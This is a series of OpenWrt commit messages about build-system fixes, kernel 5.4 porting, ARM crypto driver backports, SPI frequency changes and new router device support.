[5] https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=2e1f6f1682d3974d8ea52310e460f1bbe470390fFixes: #1852Fixes: #2573
Signed-off-by: Alan Swanson <reiver@improbability.net>
Global attributes enable_mirror_tx/enable_mirror_rx depend on runtime
value of another global attribute mirror_source_port which just resides
in the memory
The same functionality can be achieved by directly setting port
attribute of the same names. E.g. the following two groups of commands
achieve the same thing
swconfig dev switch0 set mirror_source_port 3
swconfig dev switch0 set enable_mirror_tx 1
swconfig dev switch0 set mirror_source_port 4
swconfig dev switch0 set enable_mirror_tx 1
swconfig dev switch0 port 3 set enable_mirror_tx 1
swconfig dev switch0 port 4 set enable_mirror_tx 1
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Image building process was missing "asus-trx" step which resulted in raw
TRX files (without ASUS footer with device id).
Fixes: 0b9de8daa7 ("bcm53xx: add profiles for all other (SoftMAC) devices")
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
getopt is the only command where /usr/local/bin is specified explicitly.
All other commands are assumed to exist in the PATH in one form or
another. Remove this exception and require gnugetopt/getopt to be in
the user's PATH.
In the case of macos Homebrew, getopt is 'keg only' hence not linked
into /usr/local/bin whilst other commands are linked and likely found by
virtue of /usr/local/bin being in PATH.
Since 2019 Homebrew is very reluctant to install links that have
potential to override default OS behaviour, eg: following instructions
on our current 'how to build on macos' wiki page:
$ brew ln gnu-getopt --force
Warning: Refusing to link macOS-provided software: gnu-getopt
If you need to have gnu-getopt first in your PATH run:
echo 'export PATH="/usr/local/opt/gnu-getopt/bin:$PATH"' >> ~/.zshrc
A better option for macos is to link getopt as 'gnugetopt' in
/usr/local/bin, thus the build system will find 'gnugetopt' but other
applications looking for just 'getopt' will find the original macos
binary.
Ultimately it makes sense that 'GNU' dependencies are placed in
/usr/local/bin and /usr/local/bin is included in the user's PATH.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Fixes following build error on mpc85xx/p2020:
Package kmod-iio-st_accel is missing dependencies for the following libraries:
regmap-core.ko
Fixes: 2d8f4c4fbd ("kernel: iio: add st-accel driver modules")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
When changing the LED names for the Archer C7 to represent the correct
color, a migration for existing UCI entries was not created.
Add a migration to keep existing LED configurations working.
Fixes commit c79c001b59 ("ar71xx: Archer C7 v1 LED names and RFKILL
fixes")
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit fills the void for current OpenWrt installations which will
be still on old bootloader version even after "x86: add bootloader
upgrade on sysupgrade", since it performs bootloader upgrade only on
sysupgrade. To keep all OpenWrt deploynents on the same GRUB version,
add preinit hook, which will perform upgrade of the bootloader on first
boot after sysupgrade.
It's temporary solution and should be deleted, when the first release
including this hook will no longer be supported by OpenWrt team.
We can assume that all installations should be on current bootolader
version and from there sysupgrade routine will be sufficient.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Currently bootloader always stays on the same version as when first
written to boot medium (not true if partition layout changed, which will
trigger sysupgrade process to write full disk image). That creates
inconveniences as it always stays with same features or/and bugs. Users
wishing to add support to additional modules or new version, would need
to write the whole image, potentially destroying previous system
configuration. To fix these, this commit adds additional routine to
sysupgrade which upgrades unconditionally the bootloader to the latest
state provided by OpenWrt.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
There can be some leftovers from other image recipes, if the same
directory names are used and multiply image types are selected.
Therefore remove directories used in the recipe, before contents for the
image are prepared.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Adds kernel modules for various STMicroelectronics accelerometers.
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
[added missing commit description]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Add one node for the accel/gyro i2c device and another for the separate
magnetometer device in the lsm9ds1.
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
[commit subject/description tweaks, kernel version in patch filename]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Backport kernel module from 5.5 for FXOS8700CQ, which is a small,
low-power, 3-axis linear accelerometer and 3-axis magnetometer combined
into a single package. The device features a selectable I2C or
point-to-point SPI serial interface with 14-bit accelerometer and 16-bit
magnetometer ADC resolution along with smart-embedded functions.
Signed-off-by: Tim Harvey <tharvey@gateworks.com>
[added commit description]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Code was attempting to determine the size of the file
before it was actually known and allocating insufficient
memory space. Images above a certain size caused a
segmentation fault. Moving the calloc() ensured ensured
that large images didn't result in a buffer overflow on
memcpy().
Signed-off-by: Michael T Farnworth <michael@turf.org>
[fixed name in From to match one in SoB]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
pkgconf is a newer, actively maintained implementation of pkg-config that
supports more aspects of the pkg-config file specification and provides a
library interface that applications can use to incorporate intelligent
handling of pkg-config files into themselves (such as build file
generators, IDEs, and compilers). Through its pkg-config compatibility
interface (activated when it is run as "pkg-config"), it also can
completely replace the original implementation.
It is also lighterweight and does not require glib2, as pkg-config does.
On other distros, pkgconf is symlinked to pkg-config. For simplicity here,
it is renamed to pkg-config.real, as in the original package.
Initial results have been positive. As before, pkgconf works as long as
the pkg-config files point to the proper paths.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[backported upstream fix for Meson]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The BUILD_VARIANT might differ from UBOOT_CONFIG, so point to a file we
are actually changing. Being here let's call 'Build/Configure/U-Boot'
definition, instead of definig the same command. This'll be more future
proof, if U-Boot configuration procedure will change.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
If device recipe has specified DEVICE_DTS variable, the dtb is built
anyway by OpenWrt buildroot image rules. Drop the patch and adjust the
location of compiled dtb.
Cc: Scott Roberts <ttocsr@gmail.com>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Tar has ability to change current dir, so use that instead additional
command invocation. Also being here, change tar arguments to make final
archive reproducible.
Cc: Scott Roberts <ttocsr@gmail.com>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
This device receipe selects bunch of packages which some are re-defined,
unnecessary or irrelevant. Clean them up, so only basic functionality
persist.
Cc: Scott Roberts <ttocsr@gmail.com>
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Don't rewrite global DTS_DIR, instead, use proper variable for
specifying devices dts directory. For consistency, also specify the
variable in default profile, as suggested by Adrian Schmutzler.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Currently, if "make tools/install" is called after tools have already
been installed, a symbolic link named "lib" will be created inside
$(STAGING_DIR_HOST)/lib, pointing to "lib" (i.e. itself).
During tools/prepare, a "lib64" symlink is created inside
$(STAGING_DIR_HOST) that points to "lib" (also inside
$(STAGING_DIR_HOST)).
If tools/prepare is called and the "lib64" symlink already exists, then
ln will treat it as a directory and instead create a symlink named "lib"
inside of that directory.
This adds the -n option for ln so that $(STAGING_DIR_HOST)/lib64 is
always treated as a normal file (the link name), not as a directory.
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
Currently, a symbolic link whose target is a directory will not be
removed when cleaning packages from STAGING_DIR.
In the first cleaning pass in scripts/clean-package.sh, the -f test for
a directory symlink returns false (because the link target is a
directory) and so the symlink is not removed.
In the second pass, the -d test returns true for a directory symlink,
but the symlink is not removed by rmdir because rmdir only removes
(real) directories.
This updates clean-package.sh to remove all non-directories (including
symbolic links) in the first pass.
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
Build/InstallDev no longer places a file list in
$(STAGING_DIR_HOST)/packages; this change removes the creation of
$(STAGING_DIR_HOST)/packages and the attempted removal of a
STAGING_DIR_HOST file list during package clean.
This also changes the host directory passed to Build/UninstallDev from
$(STAGING_DIR_HOST) to $(STAGING_DIR)/host, to match the directory
passed to Build/InstallDev.
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
Because /etc/profile (and ~/.profile) are read by login shells only,
aliases and functions defined there are not available to non-login
shells, e.g. when using screen or tmux.
If the ENV environment variable exists (exported by /etc/profile or
~/.profile) and references an existing file, then all interactive shells
(login or non-login) will read that file as well.
This sets the ENV environment variable in /etc/profile, pointing to
/etc/shinit.
This also adds /etc/shinit, which:
* Contains alias and function definitions originally in /etc/profile
* Sources /etc/mkshrc if the user is using mksh (also originally in
/etc/profile), as /etc/mkshrc is meant for all interactive shells
* Sources ~/.mkshrc if the user is using mksh, to compensate for the
fact that mksh will not read ~/.mkshrc if ENV is set
* Sources ~/.shinit if the user is not using mksh
This also removes the shebang from /etc/profile, as the file is sourced,
not executed.
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
This activates PIE ASLR support by default when the regular option is
selected.
Size increase on imx6:
112681 ppp_2.4.8-2_arm_cortex-a9_neon.ipk
121879 ppp_2.4.8-2_arm_cortex-a9_neon.ipk
= 9198 diff
Acked-by: Alexander Couzens <lynxis@fe80.eu>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This activates PIE ASLR support by default when the regular option is
selected. This is required to enable PIE ASLR support by default in ppp,
as it fails to build without it, on x86/64.
The .so file size stays identical.
Suggested-by: Felix Fietkau <nbd@nbd.name>
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
The AVM FRITZ!WLAN Repeater 450E's WPS button is not active low.
Correct the active low flag to avoid unintenional activation of
failsafe mode on boot.
Signed-off-by: David Bauer <mail@david-bauer.net>
Fixes the following warning for ARM targets:
WARNING: "return_address" [vmlinux] is a static EXPORT_SYMBOL_GPL
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
The previous workaround for the unsupported mkimage xz compression
leads to the TP-Link TL-WDR4900s simpleImage bootwrapper being gzip
compressed, which does not fit the kernel partition.
Removing the uImage gerneration works around this problem.
Signed-off-by: David Bauer <mail@david-bauer.net>
Build system needs an 'xargs' that supports '-r' which darwin doesn't.
Homebrew installs a 'gxargs' with the findutils package so look for
'gxargs' as well as 'xargs'
This is a bit of a 'fun' corner case anyway. xargs is only required by
the build if 'CONFIG_AUTOREMOVE' is set and after the build system has
built 'tools/findutils' we have a fully working xargs for host anyway.
Until that time we have to rely on the host's xargs implementation.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This hunk became obsolete the moment when our
gpio-button-hotplug learned how to deal with
interrupt-supported gpio buttons. The gpio driver
never supported interrupt handling, so these
properties never served any use (outside of a
enhanced ppc4xx-gpio driver that was dropped).
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch fixes the regression caused by adding the NEON
variant of the ghash as the default ghash package package:
> ERROR: module '[...]/arch/arm/crypto/ghash-arm-ce.ko' is missing.
> modules/crypto.mk:286: recipe for target
> '[...]/kmod-crypto-ghash_4.19.106-1_aarch64_cortex-a53.ipk' failed
This patch limits the scope to the ARM32/cortexa9 target of mvebu.
Fixes: 285df63efc ("kernel: build neon-asm version of ghash module")
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This removes the assignment of setup and cleanup functions for the ath79
target. Assigning the setup-method will lead to 'setup_transfer' not
being assigned in spi_bitbang_init.
Also drop the redundant cleanup assignment, as this also happens in
spi_bitbang_init.
Signed-off-by: David Bauer <mail@david-bauer.net>
This fixes some outstanding issues with the Kernel 5.4 build:
* Adds missing support patch for the Enterasys WS-AP3710i
* Fixes incorrect NAND symbols
* Adds patch for broken image wrapping
Signed-off-by: David Bauer <mail@david-bauer.net>
This patch adds important NAND config symbols.
These are necessary as otherwise the devices
won't find the rootfs on the NAND chips.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch just refreshes the 5.4 patches. It seems as if
070-v4.20-soc-qcom-spm-add-SCM-probe-dependency.patch is
already applied, so drop it. It also does a quick
make kernel_oldconfig to get rid of unneeded symbols.
[Looks like USB and Ethernet need some more work].
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch adds a few more symbols that I found that
need disabling in order to not break the automatic build.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This builds the regular arm and arm-neon asm optmized modules for sha1
and sha512, for targets that set CONFIG_ARM_CRYPTO.
On ip40xx, the arm-asm version of sha1 improves performance by 5% over
the generic C implementation; sha1-neon is 25% faster than generic,
and sha512-neon, 259%.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This alone improves AES-GCM performance by up to 50% on ipq40xx. This
is enabled for targets that support neon and set CONFIG_ARM_CRYPTO:
imx6, ipq40xx, and mvebu.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This backports commits from master that fix AES ciphers when using the
qce driver:
- A couple of simple fixes for CTR and XTS modes used with AES:
* 041-crypto-qce-fix-ctr-aes-qce-block-chunk-sizes.patch
* 042-crypto-qce-fix-xts-aes-qce-key-sizes.patch
- A fix for a bug that affected cases when there were more entries in
the input sg list than necessary to actually encrypt, resulting in
failure in gcm, where the authentication tag is present after the
encryption data:
* 043-crypto-qce-save-a-sg-table-slot-for-result-buf.patch
- A fix to update the IV buffer passed to the driver from the kernel:
* 044-crypto-qce-update-the-skcipher-IV.patch
- A patch that reduces memory footprint and driver initialization by
only initializing the fallback mechanism where it is actually used:
* 046-crypto-qce-initialize-fallback-only-for-AES.patch
- Three patches that make gcm and xts modes work with the qce driver,
and improve performance with small blocks:
* 047-crypto-qce-use-cryptlen-when-adding-extra-sgl.patch
* 048-crypto-qce-use-AES-fallback-for-small-requests.patch
* 049-crypto-qce-handle-AES-XTS-cases-that-qce-fails.patch
- A patch that allows the hashes/ciphers to be built individually.
* 051-crypto-qce-allow-building-only-hashes-ciphers.patch
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
[renumbered patches, added patches from dropped commit, refreshed, 5.4]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This adds the neon based implementations of AES & SHA256.
For AES, according to the kernel config help:
Use a faster and more secure NEON based implementation of AES in CBC,
CTR and XTS modes.
Bit sliced AES gives around 45% speedup on Cortex-A15 for CTR mode
and for XTS mode encryption, CBC and XTS mode decryption speedup is
around 25%. (CBC encryption speed is not affected by this driver.)
This implementation does not rely on any lookup tables so it is
believed to be invulnerable to cache timing attacks.
...
The observed speedups on ipq40xx are more modest: speedup is around 20%
for CTR mode and for XTS mode encryption, CBC and XTS mode decryption
speedup is around 10%. Measurements were made using tcrypt, with
1024-bytes blocks for CTR & CBC, and 4096-bytes for XTS.
The aes-neon-bs driver uses a fallback for CBC encryption; that fallback
could be either the generic driver written in C, or the scalar arm-asm
one. Even though aes-arm is 1.9% slower, it is more resilient to timing
attacks (the reason for being slower), so it is being included here.
The neon sha256 module increases performance over the generic module by
33%.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
[Enable only ciphers for now, reorder patch in series to help bisect
as new symbols could lead to build failures, 5.4]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This backports a commit updating the API of the QCE crypto engine to
what is used in current kerenl, easing future upstream backports.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
[renumber patches, refreshed, added 5.4 patches]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch disables the CRYPTO KERNEL SYMBOLs that are touched
by the upcoming ipq40xx patch "ipq40xx: use neon crypto drivers"
from "Eneas U de Queiroz" and more so for his follow up patches
for the other ARM targets in this series. This should help to
prevent at least a few potential build errors on other archs.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
SOC: IPQ4019 / QCA Dakota
CPU: Quad-Core ARMv7 Processor rev 5 (v7l) Cortex-A7
DRAM: 256 MiB
FLASH: NOR 4 MiB + NAND 128 MiB
ETH: Qualcomm Atheros QCA8072
WLAN1: Qualcomm Atheros QCA4019 2.4GHz 802.11bgn 2:2x2
WLAN2: Qualcomm Atheros QCA4019 5GHz 802.11a/n/ac 2:2x2
WLAN2: Qualcomm Atheros QCA9888 5GHz 802.11a/n/ac 2:2x2
INPUT: WPS Button
LEDS: Power, LAN1, LAN2, WLAN 2.4GHz, WLAN 5GHz-1, WLAN 5GHz-2, OPMODE
1. Load Ramdisk via U-Boot
To set up the flash memory environment, do the following:
a. As a preliminary step, ensure that the board console port is connected to the PC using these RS232 parameters:
* 115200bps
* 8N1
b. Confirm that the PC is connected to the board using one of the Ethernet ports.
c. Set a static ip 192.168.99.8 for Ethernet that connects to board.
d. The PC must have a TFTP server launched and listening on the interface to which the board is connected.
e. At this stage power up the board and, after a few seconds, press 4 and then any key during the countdown.
U-BOOT> set serverip 192.168.99.9 && tftpboot 0x84000000 192.168.99.8:openwrt.itb && bootm
Signed-off-by: Steven Lin <steven.lin@senao.com>
[copied 4.19 dts to 5.4]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Fix typedef clash on darwin.
HOSTCC scripts/mod/file2alias.o
scripts/mod/file2alias.c:47:3: error: typedef redefinition with different types ('struct uuid_t' vs '__darwin_uuid_t' (aka 'unsigned char [16]'))
} uuid_t;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/sys/_types/_uuid_t.h:31:25: note: previous definition is here
typedef __darwin_uuid_t uuid_t;
^
scripts/mod/file2alias.c:1305:42: error: array initializer must be an initializer list or string literal
DEF_FIELD(symval, tee_client_device_id, uuid);
^
2 errors generated.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This is still missing a lot of love but people want to start working on it
so lets give them a common baseline.
Signed-off-by: John Crispin <john@phrozen.org>
* Fix some bugs in the driver
* Add missing clock and reset references in dts
* Rename mdio-bus to mdio so the driver find it
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
[refreshed]
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
* Sync the patches with the changes done for kernel 4.19
* Use KERNEL_TESTING_PATCHVER
* Refresh the configuration
* Fix multiple compile bugs in the patches
* Only add own ag71xx files for kernel 4.19 and use upstream version for
5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
With kernel 5.4 the upstream kernel supports deactivating the FPU
support on MIPS. Use this new upstream feature instead of our older
patch which was removed when porting the kernel patches to kernel 5.4.
This way both options are set which should work for older kernel
versions and also new ones.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The nvmem framework is now used in net/ethernet/eth.c and the nvmem
sysfs is split into a separate Kconfig option. More work would be needed
to adapt this patch for the broader use. The current patch compiles fine
on ath79, but it breaks the x86 target.
nvmem is also compiled into the kernel for most of our targets for
example ath79 anyway, so patching the kernel to remove it is now harder
and not the case on multiple targets anyway. Instead of making this work
on kernel 5.4 just remove this hack patch.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This module was added with kernel 4.15, but is was removed again with
kernel version 5.3. OpenWrt does not support specifying a kernel version
range so just break it with kernel 4.14 and only support recent kernel
versions.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
With kernel 5.4 kmod-sound-hda-intel also needs snd-intel-nhlt.ko, but
this kernel module is only build on x86, make the OpenWrt kmod depend on
TARGET_x86.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This makes it possible to select CONFIG_CRYPTO_LIB_ARC4 directly. We
need this to be able to compile this into the kernel and make use of it
from mac80211 backports.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
nf_reset() was renamed to nf_reset_ct() in upstream Linux commit
895b5c9f206e ("netfilter: drop bridge nf reset from nf_reset)"
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
gigaset was moved to staging in kernel 5.4, just deactivate it on
recent kernel versions instead of adapting it.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
In kernel 5.3 and 5.4 some crypto modules were split into two modules,
one implementing the crypto algorithm and the other integrating it
into the Linux crypto framework.
Adapt OpenWrt to support this split.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This adds the new xfrm4_mode_beet, xfrm4_mode_transport,
xfrm4_mode_tunnel and their IPv6 versions on kernel 5.4. These modules
were newly added in kernel 5.2.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
The configuration was refreshed and KERNEL_TESTING_PATCHVER was set to
make it easy to compile for kernel 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The following patches were removed because they are integrated in the upstream kernel 5.4:
* backport-5.4/047-v4.21-mtd-keep-original-flags-for-every-struct-mtd_info.patch
* backport-5.4/048-v4.21-mtd-improve-calculating-partition-boundaries-when-ch.patch
* backport-5.4/080-v5.1-0001-bcma-keep-a-direct-pointer-to-the-struct-device.patch
* backport-5.4/080-v5.1-0002-bcma-use-dev_-printing-functions.patch
* backport-5.4/095-Allow-class-e-address-assignment-via-ifconfig-ioctl.patch
* backport-5.4/101-arm-cns3xxx-use-actual-size-reads-for-PCIe.patch
* backport-5.4/200-v5.2-usb-dwc2-Set-lpm-mode-parameters-depend-on-HW-configuration.patch
* backport-5.4/210-arm64-sve-Disentangle-uapi-asm-ptrace.h-from-uapi-as.patch
* backport-5.4/380-v5.3-net-sched-Introduce-act_ctinfo-action.patch
* backport-5.4/450-v5.0-mtd-spinand-winbond-Add-support-for-W25N01GV.patch
* backport-5.4/451-v5.0-mtd-spinand-Add-initial-support-for-Toshiba-TC58CVG2.patch
* backport-5.4/452-v5.0-mtd-spinand-add-support-for-GigaDevice-GD5FxGQ4xA.patch
* backport-5.4/455-v5.1-mtd-spinand-Add-support-for-all-Toshiba-Memory-produ.patch
* backport-5.4/456-v5.1-mtd-spinand-Add-support-for-GigaDevice-GD5F1GQ4UExxG.patch
* backport-5.4/460-v5.0-mtd-spi-nor-Add-support-for-mx25u12835f.patch
* backport-5.4/460-v5.3-mtd-spinand-Define-macros-for-page-read-ops-with-thr.patch
* backport-5.4/461-v5.3-mtd-spinand-Add-support-for-two-byte-device-IDs.patch
* backport-5.4/462-v5.3-mtd-spinand-Add-support-for-GigaDevice-GD5F1GQ4UFxxG.patch
* backport-5.4/463-v5.3-mtd-spinand-Add-initial-support-for-Paragon-PN26G0xA.patch
* backport-5.4/700-v5.1-net-phylink-only-call-mac_config-during-resolve-when.patch
* backport-5.4/701-v5.2-net-phylink-ensure-inband-AN-works-correctly.patch
* backport-5.4/702-v4.20-net-ethernet-Add-helper-for-MACs-which-support-asym-.patch
* backport-5.4/703-v4.20-net-ethernet-Add-helper-for-set_pauseparam-for-Asym-.patch
* backport-5.4/704-v4.20-net-phy-Stop-with-excessive-soft-reset.patch
* backport-5.4/705-v5.1-net-phy-provide-full-set-of-accessor-functions-to-MM.patch
* backport-5.4/706-v5.1-net-phy-add-register-modifying-helpers-returning-1-o.patch
* backport-5.4/707-v5.1-net-phy-add-genphy_c45_check_and_restart_aneg.patch
* backport-5.4/708-v5.3-net-phylink-remove-netdev-from-phylink-mii-ioctl-emu.patch
* backport-5.4/709-v5.3-net-phylink-support-for-link-gpio-interrupt.patch
* backport-5.4/710-v5.3-net-phy-allow-Clause-45-access-via-mii-ioctl.patch
* backport-5.4/711-v5.3-net-sfp-add-mandatory-attach-detach-methods-for-sfp-.patch
* backport-5.4/712-v5.3-net-sfp-remove-sfp-bus-use-of-netdevs.patch
* backport-5.4/713-v5.2-net-phylink-avoid-reducing-support-mask.patch
* backport-5.4/714-v5.3-net-sfp-Stop-SFP-polling-and-interrupt-handling-duri.patch
* backport-5.4/715-v5.3-net-phylink-don-t-start-and-stop-SGMII-PHYs-in-SFP-m.patch
* backport-5.4/740-v5.5-net-phy-avoid-matching-all-ones-clause-45-PHY-IDs.patch
* backport-5.4/741-v5.5-net-phylink-fix-link-mode-modification-in-PHY-mode.patch
* pending-5.4/103-MIPS-perf-ath79-Fix-perfcount-IRQ-assignment.patch
* pending-5.4/131-spi-use-gpio_set_value_cansleep-for-setting-chipsele.patch
* pending-5.4/132-spi-spi-gpio-fix-crash-when-num-chipselects-is-0.patch
* pending-5.4/220-optimize_inlining.patch
* pending-5.4/341-MIPS-mm-remove-no-op-dma_map_ops-where-possible.patch
* pending-5.4/475-mtd-spi-nor-Add-Winbond-w25q128jv-support.patch
* pending-5.4/477-mtd-add-spi-nor-add-mx25u3235f.patch
* pending-5.4/479-mtd-spi-nor-add-eon-en25qh64.patch
Some bigger changes were done to this feature and we did not port this patch yet:
* hack-5.4/207-disable-modorder.patch
This depends on BOOTMEM which was removed from the kernel, this needs some bigger changes:
* hack-5.4/930-crashlog.patch
A different version of the FPU disable patch was merged upstream, OpenWrt needs some adaptations.
* pending-5.4/304-mips_disable_fpu.patch
- no crashlog support yet as a required file got deleted upstream
- Removed patch below, which is now seen as a recursive dependency [1]
- Removed patch below due to build error [2]
- fix still required to avoid identical function def [3]
- Fixes included from Blocktrron
- Fixes included from Chunkeey
- Fix included from nbd regarding "dst leak in Flow Offload"
[1] target/linux/generic/hack-5.4/260-crypto_test_dependencies.patch
[2] target/linux/generic/hack-5.4/207-disable-modorder.patch
[3] target/linux/generic/pending-5.4/613-netfilter_optional_tcp_window_check.patch
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Signed-off-by: David Bauer <mail@david-bauer.net>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Signed-off-by: Robert Marko <robimarko@gmail.com>
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
No changes were done to the patches while coping them. Currently they do
not apply on top of kernel 5.4.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
In accordance to ebc090e420 ("ath79: reduce spi-max-frequency to 50 MHz")
this also reduces the spi-max-frequency to 50 MHz for the last remaining
device with higher frequency in ath79. This will save us from having a
single special case that will require adjustment when the spi driver for
this device is changed in the future.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Chuanhong Guo <gch981213@gmail.com>
This applies some minor DTS style improvements to the files kept
in OpenWrt at the moment:
- harmonize/improve LED/pinmux node names
- harmonize empty lines between nodes
- change "ok" to "okay"
- some other minor formatting adjustments
Since changes are only cosmetical, they are only applied to the
"newer" DTS files for kernel 4.19.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Move DTS files newly created by patch files to files directory. This will make
these files much more maintainable.
Patching the kernel Makefile is unnecessary, as the DTS files specified in
DEVICE_DTS will be compiled by OpenWrt buildroot anyway.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Acked-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The introduction of ebf0d8dade ("ath79: add new ar934x spi driver")
made the SPI memory unusable on devices with very high spi-max-frequency
(104 MHz).
Here's how the actual clock is calculated: (AHB_CLK/((CLOCK_DIVIDER+1)*2))
where AHB_CLK is a fixed clock (e.g. 200MHz on AR9331) and CLOCK_DIVIDER
is the parameter we can set. Highest clock according to this formula is
AHB_CLK/2 (100MHz, but that didn't work in device tests).
The next possible value is AHB_CLK/4 (50MHz). Speeds between 50 MHz and
100 MHz will be rounded down, so using values higher than 50 MHz does
not provide any benefit.
Consequently, this patch reduces spi-max-frequency for all devices with
values higher than 50 MHz to 50 MHz (effectively, this only affects
devices with 104 MHz before this patch).
Tested on GL.inet GL-AR150:
Boot fails with 104 MHz but is successful with both 50 MHz and 80 MHz
(fast-read), where the latter two yield identical read speeds.
Fixes: ebf0d8dade ("ath79: add new ar934x spi driver")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The introduction of ebf0d8dade (ath79: add new ar934x spi driver)
made the SPI memory unusable. Reducing the spi-max-frequency to
a smaller value makes it work again.
Tested on two MikroTik RouterBOARD wAP G-5HacT2HnD devices.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
CONFIG_INCLUDE_CONFIG option is helpful for being able to rebuild the
exact same firmware as you see on a live OpenWRT instance, but it's
crucially missing feeds information, so we can't rebuild the exact same
package versions. This commit fixes this by adding the remaining feeds
(and version) buildinfo files to the image.
Signed-off-by: Xu Wang <xwang1498@gmx.com>
This reverts commit 215598fd03 since it
didn't contain a reference to the CVE it addresses. The next commit
will re-add the commit including a CVE reference in its commit message.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This patch ports support for the MikroTik RouterBOARD 922UAGS-5HPacD
with a built-in 802.11ac High-Power radio (31dBm), which was already
available in the ar71xx target.
See https://mikrotik.com/product/RB922UAGS-5HPacD for more info.
Specifications:
- SoC: Qualcomm Atheros QCA9558 (720 MHz)
- RAM: 128 MB
- Storage: 128 MB NAND
- Wireless: external QCA9882 802.11a/ac 2x2:2
- Ethernet: 1x 1000/100/10 Mbps, integrated, via AR8031 PHY, passive PoE-in 24V
- SFP: 1x host
- USB: 1x 2.0 type A
- PCIe: 1x Mini slot (also contains USB 2.0 for 3G/LTE modems)
- SIM slot: 1x mini-SIM
Working:
- Board/system detection
- SPI and NAND storage
- PCIe
- USB type A host
- Wireless
- Ethernet
- LEDs (user, phy0)
- Reset button
- Sysupgrade to/from ar71xx
Not supported:
- RSSI LEDs
- SFP cage
Installation methods:
- Sysupgrade from ar71xx (it is advisable to use the -n option to
wipe any previous settings), or
- Boot the initramfs image via TFTP and then flash the sysupgrade
image using "sysupgrade -n"
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Old MikroTik devices have the RLE-encoded radio calibration data
directly stored in the art (hard_config) partition, without LZO
compression nor any preceding ERD magic bytes. This commit adds
a fallback for these devices.
Tested on the ath79 target with a MikroTik SXT 5nD r2 (SXT Lite5),
only locally --not yet merged upstream--.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
The calgary IOMMU was only used on high-end IBM systems in the early
x86_64 age. This is an unlikely OpenWrt target and in fact upstream
are looking to drop the driver entirely with the bonus that we no
longer see:
[ 0.000000] Calgary: detecting Calgary via BIOS EBDA area
